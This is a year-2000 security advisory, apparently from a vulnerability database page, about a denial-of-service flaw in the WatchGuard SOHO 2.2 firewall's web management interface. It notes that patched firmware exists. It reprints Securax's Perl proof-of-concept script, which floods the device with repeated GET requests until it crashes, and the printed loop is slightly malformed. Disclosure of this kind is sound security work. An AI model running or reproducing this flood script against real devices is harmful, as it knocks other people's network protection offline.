WatchGuard SOHO Firewall Subject to DoS

Reported December 7, 2000 by Securax

  • Watchguard SOHO 2.2


Watchguard SOHO Firewall uses a Web-based management interface that is subject to a Denial of Service (DoS) attack. By sending a large number of GET requests (over 70), the Web server consumes large amounts of memory until all available memory resources have been exhausted.


Sample code from Securax advisory:


# You can also connect to the Watchguard SOHO through your
# browser and press F5 like a maniac on speed to get the
# firewall crashing. So, either you run the .pl script or
# you fire up your webbrowser... Either way, it works.
# ----------------------------------------------------------
# Disclaimer: this file is intended as proof of concept, and
# is not intended to be used for illegal purposes. I accept
# no responsibility for damage incurred by the use of it.
# ----------------------------------------------------------
# (c)Proof of concept, vorlon <[email protected]>
# ----------------------------------------------------------
use IO::Socket;

$host = "your_watchguard_ip";
$port = "your_port";
$repeat = "100";
$request = "GET / HTTP/1.0";

print "Watchguard SOHO Denial of Service, connecting to $host:$port...\n";
$socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>$host, PeerPort=>$port) || die "Failed.\n";

$counter = 0;
print "Repeating request for $repeat times.\n";
while($counter < $repeat) \{ 
print $socket "$request\n";
$socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>$host, PeerPort=>$port) || die "\nThe Watchguard SOHO has crashed. BEEFCAKE!...\n";
print ".";
$counter += 1;
print "\nDone.\n\n";



WatchGuard is aware of the problem and released an updated firmware version.

Discovered by Securax

Hide comments


  • Allowed HTML tags: <em> <strong> <blockquote> <br> <p>

Plain text

  • No HTML tags allowed.
  • Web page addresses and e-mail addresses turn into links automatically.
  • Lines and paragraphs break automatically.